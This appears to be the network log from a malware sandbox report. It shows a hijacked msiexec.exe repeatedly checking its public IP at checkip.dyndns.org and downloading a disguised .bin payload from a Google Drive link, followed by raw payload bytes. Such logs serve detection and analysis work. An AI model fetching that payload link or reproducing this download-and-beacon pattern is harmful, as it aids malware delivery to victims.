Dec 16, 2024 18:28:51.925323009 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:28:51 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cc9b5aa26542e857f18015b15ec6230e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 16, 2024 18:28:51.928620100 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 16, 2024 18:28:52.303622007 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:28:52 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4b22209860fad5356dbde44903818b55 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 16, 2024 18:28:54.864197969 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 16, 2024 18:28:55.238343954 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:28:55 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 56d354e82e60dd8c62bfe7d3321a28f9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49742	158.101.44.242	80	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 18:28:57.093662024 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 16, 2024 18:28:58.322419882 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:28:58 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1cba1f53a282cc88736ca02de597e129 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49750	158.101.44.242	80	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 18:29:00.176654100 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 18:29:02.105992079 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:29:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b4c5aec3fd19d62f4733b5a0ccf429c3 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49761	158.101.44.242	80	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 18:29:03.937235117 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 18:29:05.424324989 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:29:05 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1b9c47a9265c91e2b79d2abd8b30d147 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49768	158.101.44.242	80	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 18:29:07.228050947 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 18:29:08.436230898 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:29:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3cce21803a6e7d35298182001f494616 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49779	158.101.44.242	80	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 18:29:10.267282963 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 18:29:11.475013018 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:29:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e8649791bb454324932d1de5d96bb7d0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49787	158.101.44.242	80	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 18:29:13.298779011 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 18:29:14.506438017 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:29:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1f8d9ffab43cf7e3bdd34f2233855ddf Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49797	158.101.44.242	80	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 18:29:16.551518917 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 16, 2024 18:29:17.767580986 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:29:17 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 73686b10e28dd1355924ee9bded3b4b3 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	172.217.19.174	443	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:28:43 UTC	216	OUT	GET /uc?export=download&id=1YeXd9LJ-C_EeZ1qnzA6AhH9ENxjKxrEO HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-12-16 17:28:44 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 16 Dec 2024 17:28:44 GMT Location: https://drive.usercontent.google.com/download?id=1YeXd9LJ-C_EeZ1qnzA6AhH9ENxjKxrEO&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-u1j_x99rFhBLMGdLvlXsaw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	142.250.181.1	443	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:28:46 UTC	258	OUT	GET /download?id=1YeXd9LJ-C_EeZ1qnzA6AhH9ENxjKxrEO&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-16 17:28:49 UTC	4947	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFiumC44EnyHzDLYPW86pnQVTedAjxrEDpZaaHbRbZR9SbeoI4v9aRQP5NLDkQy7yoO03mKf Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="digvjxGcgtYbtmKcYQiubAI104.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 277056 Last-Modified: Mon, 16 Dec 2024 09:14:07 GMT Date: Mon, 16 Dec 2024 17:28:49 GMT Expires: Mon, 16 Dec 2024 17:28:49 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=/T2+IA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:28:49 UTC	4947	IN	Data Raw: af e1 74 84 d1 42 a2 05 81 24 59 55 c2 3c 16 3f bb 6b d9 4d 81 ea c3 52 12 39 bc 17 05 a1 c1 38 59 6f 54 32 19 77 4f bc 78 0e fe d5 d2 bb e0 ec ee 2f cf 0d cf b2 29 16 52 b7 dc 2b 81 4c 0d 5c b1 c1 fa c0 3c 3f 32 e1 e9 40 7d 7e 35 96 43 62 1e 79 ad 5f 56 3f 65 94 de fa 0a b7 98 cf ac 8b df 0e a1 ba 61 d2 33 3c 3a 66 03 4d 41 99 9d 3d 10 33 c2 b4 df c6 a6 21 c2 3e 8a 66 a7 8e b2 bf c8 c4 82 b3 4b b6 c1 6d b1 3a d7 ff a2 a8 3c 74 d4 4f 8c 6f 50 31 43 87 28 95 ac f7 a2 56 3b 97 8e db 8b 20 93 a5 8b 5a 3d fb 56 5f 5e 40 5e 99 75 e9 5a 3c 3c 92 70 c6 98 5f 71 5d 2d 47 43 49 51 7a 19 a7 65 44 0f 2e 0b f6 27 e1 c8 2a 63 47 ff 74 c9 31 3a 32 d5 d2 10 e3 ba 16 26 94 de 04 75 a1 64 cc 72 3e 6e 73 d9 8f fc ef 70 5c 6c be f8 cb 85 cf 39 97 0a 21 2e 25 41 da 63 b2 f8 Data Ascii: tB$YU<?kMR98YoT2wOx/)R+L\<?2@}~5Cby_V?ea3<:fMA=3!>fKm:<tOoP1C(V; Z=V_^@^uZ<<p_q]-GCIQzeD.'*cGt1:2&udr>nsp\l9!.%Ac
2024-12-16 17:28:49 UTC	4800	IN	Data Raw: 70 a1 89 3c c1 09 95 3e 2e 02 13 2c e4 07 d3 41 8c b0 84 08 24 fe 68 cb f7 18 4a 02 bc a2 7e a6 02 ad 92 0a 11 06 eb 45 a8 e8 f4 c8 9a a7 ab 50 54 b7 db eb eb c3 d2 0b 73 62 68 60 e1 de 7c 88 07 12 75 05 5c e4 c1 0f 27 b4 38 8a 0a da e7 23 69 c6 b8 93 d6 31 1b 03 7e 8e 54 11 c9 58 36 35 01 89 99 b5 1d 25 46 2f e5 03 98 9b 6a ca 3f 38 2d f1 60 1f 7d 7e cb 06 26 62 a6 73 ad 58 51 50 03 94 9e f0 0d d8 ff cf ac 81 b0 66 a1 ba 6b de 33 4f 53 66 03 47 52 9d 9d 2c 14 3b d5 c7 b5 c6 a6 2b d1 3b 8a 77 22 fd d9 bf c6 d1 2b bb 5a 04 ca cf fc 82 d6 b9 6f 57 66 1c ac 3a 80 17 33 58 4b f4 49 f8 86 94 1f 29 51 97 97 fb e9 4f be 09 f0 34 0c 97 14 77 0b 0a 62 b8 18 86 34 59 ce 41 73 cc ad 5b 5d 55 3c 43 2c 48 01 3f 13 a7 f5 4c 24 40 d2 73 bd 8d 16 26 63 40 d3 73 ce 5e db Data Ascii: p<>.,A$hJ~EPTsbh`\|u\'8#i1~TX65%F/j?8-`}~&bsXQPfk3OSfGR,;+;w"+ZoWf:3XKI)QO4wb4YAs[]U<C,H?L$@s&c@s^
2024-12-16 17:28:49 UTC	1327	IN	Data Raw: af af 17 83 43 ee 5f af 74 b9 dd cb 14 bf 77 3d c9 d6 b8 24 c2 8b f9 3d 3c b3 c1 cb 08 21 ff df ae fe 5c f6 69 30 84 7a 24 0a e2 34 8b 33 29 9d 0d 62 a6 93 09 2e 9a df a1 b1 85 8f 57 34 5f d1 06 26 13 a6 cc 38 24 25 c1 48 f7 e4 e6 37 11 2e 62 64 cf 10 3e 2f eb ff 46 5c 42 32 e0 e0 4d 26 95 7a 73 1c 11 d9 9f d2 c9 f3 f3 df 03 ae ac b9 57 b6 ff 6e de 80 68 bf 5e a6 7e eb 93 88 78 da 1c 68 76 43 7f 76 4d a6 b8 7e cd fd 0b 88 4f d7 56 ab 16 f4 c9 5a 07 63 2f 06 26 a7 9d 97 49 a5 a8 8b ca 04 7c 74 94 39 bf e3 99 57 1c bb 71 10 29 e6 a8 c9 db 6b 56 61 53 9e d5 67 92 fd e3 89 3c c0 76 83 4c 63 3a 12 5c 46 b3 c5 69 38 be 84 02 86 db 70 b9 90 15 4a 72 1e 2a 66 d8 3a b6 92 0e b3 eb f0 37 23 e9 f4 b8 38 82 b0 2e 7e b7 db ef 49 e7 ce 79 ea ba 69 10 43 2e 08 88 07 08 Data Ascii: C_tw=$=<!\i0z$43)b.W4_&8$%H7.bd>/F\B2M&zsWnh^~xhvCvM~OVZc/&I\|t9Wq)kVaSg<vLc:\Fi8pJr*f:7#8.~IyiC.
2024-12-16 17:28:49 UTC	1390	IN	Data Raw: 91 8f fc e7 e9 ce 3a e5 54 99 da 16 b6 a3 69 fe 18 d5 d2 43 f5 35 04 bf 35 0a ee 8a 29 1c fe 91 c6 b5 ce dd b2 25 8a fc 3d 51 a6 2b 9a c3 5d a1 76 1e fb 55 69 19 dc a6 19 e3 9e 1a f0 dd e0 a5 7a 94 f8 2b c1 09 c5 c3 13 d3 0c 3b 58 d3 ff 67 30 85 f5 8b f6 59 85 72 b1 0e 5b cf 7f b8 5c 83 9b 83 11 ce eb a1 54 aa 50 c7 92 ec 2d 25 e7 68 15 0b 0e 9e 46 b3 bf 1a 40 73 00 a9 be e5 07 83 98 0f 81 02 1f 92 bb 65 5f a0 4b 80 33 3c d5 02 6b 46 8f 2e db 95 4d ba 2c 5e b5 22 ba b3 d0 0b 6c a0 c6 f6 28 40 44 82 1e 80 23 bf a3 21 cb 11 6e de cc 32 19 94 24 4a b9 c0 c7 df 4a 5c 52 83 ef 1e 2e ae 4d 8b bf 70 c9 be 13 89 d1 32 a4 67 d9 9c 93 cb 71 7f 51 1c 06 a4 dc cb 18 6e 92 d0 b0 5d 78 ef 17 4d 52 a6 d1 f2 68 c9 14 59 66 c3 c0 5a 61 be c2 02 22 70 41 63 f1 06 1b 27 71 Data Ascii: :TiC55)%=Q+]vUiz+;Xg0Yr[\TP-%hF@se_K3<kF.M,^"l(@D#!n2$JJ\R.Mp2gqQn]xMRhYfZa"pAc'q
2024-12-16 17:28:49 UTC	1390	IN	Data Raw: 11 09 3d 82 58 cd b7 94 89 6c 3e 78 42 ad 3e 59 50 73 fc 74 7c ef 6c ab 4e 9f c0 e5 68 35 05 00 ee 63 ff d1 10 38 30 9a 24 b7 1e 42 d7 d3 0b 76 06 ad 0d fc 4a f3 7b b1 07 76 50 08 35 87 85 28 ea 0d 46 89 e7 39 e9 56 4f c3 51 c0 1e 83 4f df 74 75 15 05 47 56 25 ba 9a b5 a0 28 c5 d0 7c d2 89 ae 14 df 42 de 9d e2 1a 61 66 e0 18 e6 85 64 7d 30 b6 04 22 87 b0 90 cb a9 7b d4 4e 42 c5 a3 a5 c0 76 8b 57 2d d9 a9 00 67 b1 2b f2 34 37 02 07 60 5e dd c9 dd c3 6d 34 73 ee 3b f4 3a 55 97 8f 50 36 a4 f8 12 3e 64 e2 fe 3a 3d 82 ad 00 aa 44 45 07 70 08 e6 7f 60 a1 0a 6a 42 38 6a e6 10 98 68 dc c5 ee 90 35 b8 fa 55 2e ca 23 26 85 f5 16 d9 2d d7 25 2d dd 27 31 22 cd 10 b9 c0 b7 07 b4 11 42 67 29 3c de fa 21 98 41 b4 8d 3c f5 72 1e 87 21 38 3a 2b 10 32 75 e1 4f 13 6d 3e 56 Data Ascii: =Xl>xB>YPst\|lNh5c80$BvJ{vP5(F9VOQOtuGV%(\|Bafd}0"{NBvW-g+47`^m4s;:UP6>d:=DEp`jB8jh5U.#&-%-'1"Bg)<!A<r!8:+2uOm>V
2024-12-16 17:28:49 UTC	1390	IN	Data Raw: 40 a6 88 53 ff b8 00 55 42 51 52 ca ba 07 57 ac 6c 8a aa b5 df e6 c5 49 7e fd 54 9f ea f6 f8 60 2a 7e 0f 1e 4d b7 63 32 dd f5 3d a0 3d 33 10 de 38 ac b3 ed 41 c2 5f 14 d0 56 82 88 83 b9 f0 84 76 e5 35 13 6b c4 03 12 22 f4 93 f8 3f b1 5d 15 d5 dd 61 e9 eb 54 06 8e 9c 25 ff be f2 5f 06 5f cb 1d 1c d6 fc 7f e7 25 8a db 08 a1 58 f7 dc c1 a6 53 cd 65 34 8f e0 eb 03 c8 71 a1 fe 45 af d3 ec 73 48 25 64 ea 66 fa a4 56 a9 cc 47 67 61 43 cd 10 86 d7 48 73 6c 83 24 65 84 60 d9 e3 7c 25 54 ab 35 41 59 4d 9b 6d b3 d5 4f 1d 49 b5 0a 06 9a 48 e0 f7 01 e6 1e c4 22 79 42 5b 9e b7 ed 28 61 99 bf a0 40 6b 80 56 e4 e7 f3 d2 d6 c6 b6 97 fd cf 52 86 d2 d4 c3 9f f1 bd 46 27 2a 8a 62 3e 08 79 2f 3d f4 48 f7 e6 1e 40 0a 1f dd 8b ee b6 63 20 3c f0 d9 ad 93 82 fd 96 93 d9 49 5f 25 Data Ascii: @SUBQRWlI~T`~Mc2==38A_Vv5k"?]aT%__%XSe4qEsH%dfVGgaCHsl$e`\|%T5AYMmOIH"yB[(a@kVRF'b>y/=H@c <I_%
2024-12-16 17:28:49 UTC	1390	IN	Data Raw: ec 09 e7 41 99 27 80 19 75 2d d2 3e 13 dd cf 52 54 c5 97 2d 6a be 81 7d 5c df a9 8b c0 f4 66 e8 a9 ed fa 1d 60 03 df 18 8f 7a 27 54 25 ff a1 82 09 cc fb 76 55 3b 52 5a b9 b2 0c 64 06 9c d7 ed 2f 0e 9a df 70 9f 36 0c 98 3b 41 ce 9c 41 62 60 ef 76 43 31 ab 35 9b a4 23 f0 b1 fd ab 8e 0a 88 79 d0 75 71 ca d4 4c 59 ff 39 33 68 28 dc d4 a9 58 fd 28 dd 84 85 07 11 d8 e3 97 b9 b5 f0 a0 a6 54 21 47 e8 1a dd 3e 5e 4d dd 8d 57 6b 53 6e 58 09 ea 6a be 1d fc 0a 96 ba 99 a8 0f 62 8e f4 94 c0 91 58 47 df 8f 34 7c 83 1d 83 f5 5a a9 ee 24 f0 20 64 25 5c de 8d b6 82 bc 7d e9 98 d4 fe f8 ec c1 2d ee f9 00 81 38 77 f3 12 9a c5 c4 1a 42 11 89 19 42 d9 c2 40 81 ce 80 e9 54 5d d4 eb 8b bf 8f f1 af f7 8b ba 43 f9 e8 44 9e 60 3b 55 de 91 3a e3 36 b8 a2 a8 af 0f d0 b4 7c de c5 da Data Ascii: A'u->RT-j}\f`z'T%vU;RZd/p6;AAb`vC15#yuqLY93h(X(T!G>^MWkSnXjbXG4\|Z$ d%\}-8wBB@T]CD`;U:6\|
2024-12-16 17:28:49 UTC	1390	IN	Data Raw: a6 59 5c a1 d3 65 82 ad 8c 0b 73 bf 69 69 8e ac 7d 88 0d 02 ab 09 5c a8 ed 08 2f c0 09 89 0a 61 e7 ff b7 c6 9d bb f3 31 1b 21 0e 8a 54 33 a0 5f 1e 65 dc ea 95 b6 72 79 46 2f 91 5e fc 9b 6e b2 aa 3d 32 91 fb 68 fc 7e ca 63 55 9c a7 6a a8 4e 53 06 af 96 9e fa 74 98 98 cf a8 f9 ac 1e a1 ca 77 fa b2 3c 3a 6c 15 b3 40 8a 9b 2c 16 0a f2 b5 df c6 a6 35 3c 38 b7 66 27 88 c1 7f c6 db 32 95 8a 02 c8 aa 90 f1 14 b3 6f 83 7b 1b ac 3b d2 25 22 5e 20 86 8a f8 8c 9e ac fc 55 f8 f0 fb f8 42 dc 12 fe 34 17 ec 05 7f 1a 0b 62 7f 18 86 34 59 03 98 0f 55 ac 5f 01 75 99 47 43 43 73 90 09 a7 59 6d 57 2e d2 79 d8 40 c8 2a 69 47 ee 73 d4 bc 9a 32 d7 d2 3e f4 98 2d 30 b0 aa a6 50 a2 4c 78 72 3e 64 d1 c2 d4 8a 88 7f 7c 1c 1c dd b2 ff f7 39 97 4e 83 0b 1f 33 eb 60 b0 88 a4 4c ad df Data Ascii: Y\esii}\/a1!T3_eryF/^n=2h~cUjNStw<:l@,5<8f'2o{;%"^ UB4b4YU_uGCCsYmW.y@*iGs2>-0PLxr>d\|9N3`L
